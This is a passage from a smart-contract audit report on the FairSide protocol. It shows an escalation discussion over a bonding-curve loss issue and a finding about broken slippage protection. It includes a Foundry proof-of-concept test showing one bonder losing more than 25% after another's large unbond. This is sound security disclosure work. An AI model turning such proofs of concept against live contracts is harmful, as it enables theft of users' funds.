2. The rewards in FSD are sent to the rewards contract. The POC assumes these rewards will not be distibuted to Bob.
3. Staking/bonding is all about taking a risk and hoping others bond too. If they don't, you accept the losses.

0xdeadbeef0x

1. Correct, thats why I suggested to also add a global.
2. The fee is kept in the reserve and minted to a tribute fee vault. We do not know anything about this vault. What we do know is that if they take it out it will put another loss for BOBs FSD value.
3. The risk they take is for claims to be processed. Not to lose a significant amount of value due to MEV - because there is active safeguards implemented.

@WangSecurity please ping me if you need more information for a decision. I think you have enough from both sides here

iamckn

> 1. Correct, thats why I suggested to also add a global.
> 2. The fee is kept in the reserve and minted to a tribute fee vault. We do not know anything about this vault. What we do know is that if they take it out it will put another loss for BOBs FSD value.
> 3. The risk they take is for claims to be processed. Not to lose a significant amount of value due to MEV - because there is active safeguards implemented.
>
> @WangSecurity please ping me if you need more information for a decision. I think you have enough from both sides here

1. I say this is a bad decision that would would discourage bonding. The price dynamics and 3.5% fee are adequate.
2. Incorrect. The FSD in the rewards contract when rewarded to Bob would allow him to access a greater share of ETH.
3. FSD bonding price dynamics are risks that will occur by design whether there are claims or not.

WangSecurity

Could you please explain the part regarding the tribute fee and its vault? When the user unbonds, tribute fee is sent to a specific vault and we don't know what is it exactly and how it distributes the rewards?

Also, @iamckn I would say that if you believe @0xdeadbeef0x's POC is incorrect, then you have to provide the updated version, cause your words seem like an assumption, while @0xdeadbeef0x has proven there is a loss more than 3.5% reward.

0xdeadbeef0x

This is what happens to the fee when unbonding:

```
    function unbond(uint256 capitalDesired, uint256 tokenMaximum) external
↪   virtual nonReentrant onlyValidPhase(IFSD.Phase.Final) {
        uint256 curveCapital = getReserveBalance();
        uint256 tokenAmount = calculateDeltaOfFSD(curveCapital,
↪   -int256(capitalDesired));
--------------
        uint256 tribute = capitalDesired.mul(tributeFee);
        uint256 reserveWithdrawn = capitalDesired - tribute;
--------------
        uint256 mintTribute = calculateDeltaOfFSD(curveCapital - capitalDesired,
↪   int256(tribute));

        _burn(msg.sender, tokenAmount);
        _mint(address(this), mintTribute);

        IERC20(address(this)).safeTransfer(tributePool, mintTribute);
        emit TributesDistributed(mintTribute);

        payable(msg.sender).sendValue(reserveWithdrawn);
        emit Unbond(msg.sender, capitalDesired, reserveWithdrawn, mintTribute);
```

- The fee is kept in the reserve because only `reserveWithdrawn` is sent to the bonder.
- `mintTribute` is minted and sent to the `tributePool` so they can do what they want with the reward.

Currently this codebase has no rewarding mechanism so its impossible to know what they do with the rewards.

However lets assume they take the entire 3.5% out for reward distribute - when they take it out they take it through unbonding so BOBs ETH value will be decreased even more.

0xdeadbeef0x

To further prove the point - lets take my POC and assume the ENTIRE 3.5% tribute fee from Alice's unbond will go to BOB (VERY VERY unrealistic as it needs to be distributed upon all bonders)

```
function test_bob_loses_from_big_unbond() external {
    // Setup funds
    fsd.bond{value:3000 ether}(0);
    deal(alice, 500 ether);
    deal(bob, 100 ether);

    // Alice will bond 500 ETH then bob will bond 100 ETH
    uint256 bobOriginalBond = 100 ether;
    uint256 aliceBond = 500 ether;

    // Alice bonds 500 ETH
    vm.prank(alice);
    fsd.bond{value:aliceBond}(0);

    // Bob bonds 100 ETH
    vm.prank(bob);
    fsd.bond{value:bobOriginalBond}(0);

    // Make sure Bob has the exact balance to unbond 50 ETH
    uint256 bobTokensNeededToUnbond = fsd.getTokensBurned(bobOriginalBond);
    uint256 bobBalance = fsd.balanceOf(bob);
    assertEq(bobTokensNeededToUnbond, bobBalance);

    // Mock Alice bypassing the 1% limit and unbonding 500 ETH
    deal(address(fsd), address(fsd).balance - aliceBond);

    // Get the amount of tokens after Alice unbond
    bobTokensNeededToUnbond = fsd.getTokensBurned(bobOriginalBond);

    // Assert that Bob needs more then 25% more tokens to be able to unbond the
↪   full amount
    assertLe(bobBalance.mul(1.25 ether), bobTokensNeededToUnbond);
}
```

- Alice tribute fee for unbonding `500 ETH` is `17.5 ETH`
- This POC proves BOB loses more then `25%`. Therefore his remaining value is `75 ETH` out of `100 ETH`.
- Add `17.5 ETH` (very unrealistic.. but lets assume) - BOB will have `92.5 ETH` - Loss of `7.5 ETH`

WangSecurity

I believe it's a sufficient prove that the victim indeed suffers a loss from this vulnerability, thanks to both watsons for this discussion. Decision remains the same, reject the escalation and leave the issue as it is.

Evert0x

Result: High Unique

sherlock-admin4

Escalations have been resolved successfully!

Escalation status:

- iamckn: rejected

Issue M-1: Wrong slippage protection

Source: https://github.com/sherlock-audit/2024-04-fairside-judging/issues/57

Found by

0xdeadbeef, ge6a

Summary

In distributePremium() there is a slippage protection which calculates minimum expected tokens for the bondTo() function. First it pulls the estimated amount of tokens from the FSD contract and then multiply it by the slippageTolerance variable. Both parts of the calculation don't work correctly which makes the slippage protection ineffective.

Vulnerability Detail

https://github.com/sherlock-audit/2024-04-fairside/blob/main/FairsideContractsV2/contracts/network/FairSideNetwork.sol#L539-L544

First lets look at the implementation of the estimateMintAmount function. As an argument it takes the membership fee in ethers.

https://github.com/sherlock-audit/2024-04-fairside/blob/main/FairsideContractsV2/contracts/token/FSD.sol#L358-L360

The first argument of the calculateDeltaOfFSD() function is getReserveBalance() - ethAmount, where getReserveBalance is the total ethereum amount owned by the FSD contract. The problem is that ethAmount is being subtracted from it which is not correct and only makes sense if the ethAmount is already transferred to the contract. But this is not the case because the eth amount is still in the FairSideNetwork contract. Secondly the initial value of the slippageTolerance is 0.01 ethers and the comment stated that it is equivalent to "1% slippage tolerance". This is not correct because with the current implementation the token minimum amount would be 1% of the estimated amount but it should be 99% of it. I assume that this is not a big problem because the governance can set correct value using the setSlippageTolerance function. However it is behind a timelock and it will take at least 2 days to update it.

Impact

Bad implementation of slippage protection

Code Snippet

Above

Tool used

Manual Review

Recommendation

Fix the estimateMintAmount function to not subtract the eth value from the total reserve and update the initial value of the slippageTolerance variable.

Discussion

nevillehuang

Likely valid medium severity, #57 highlights both scenarios of inaccuracy in slippage, causes bonding to revert

1. Wrong initial value of `slippageTolerance`
2. Incorrect subtraction of `ethAmount` from `getReserveBalance()`

nevillehuang

Hi @0xdeadbeef0x @gstoyanovbg @giraffe0x @iamckn, if the following is true, I am struggling to understand why a slippage is required?

> I argue that only 2 is an issue while 1 is not and should be considered info/low (as I did). This is because there is no need for slippage at all since the amount of tokens to mint based on eth amount CANNOT be manipulated between the call to estimateMintAmount and bondTo. Therefore the tokenMinimum extracted from estimateMintAmount should be the EXACT amount of tokens that will be minted. 1% instead of 99% has no impact at all since tokenMinimum will be minted.

Disclaimers

Sherlock does not provide guarantees nor warranties relating to the security of the project.

Usage of all smart contract software is at the respective users’ sole risk and is the users’ responsibility.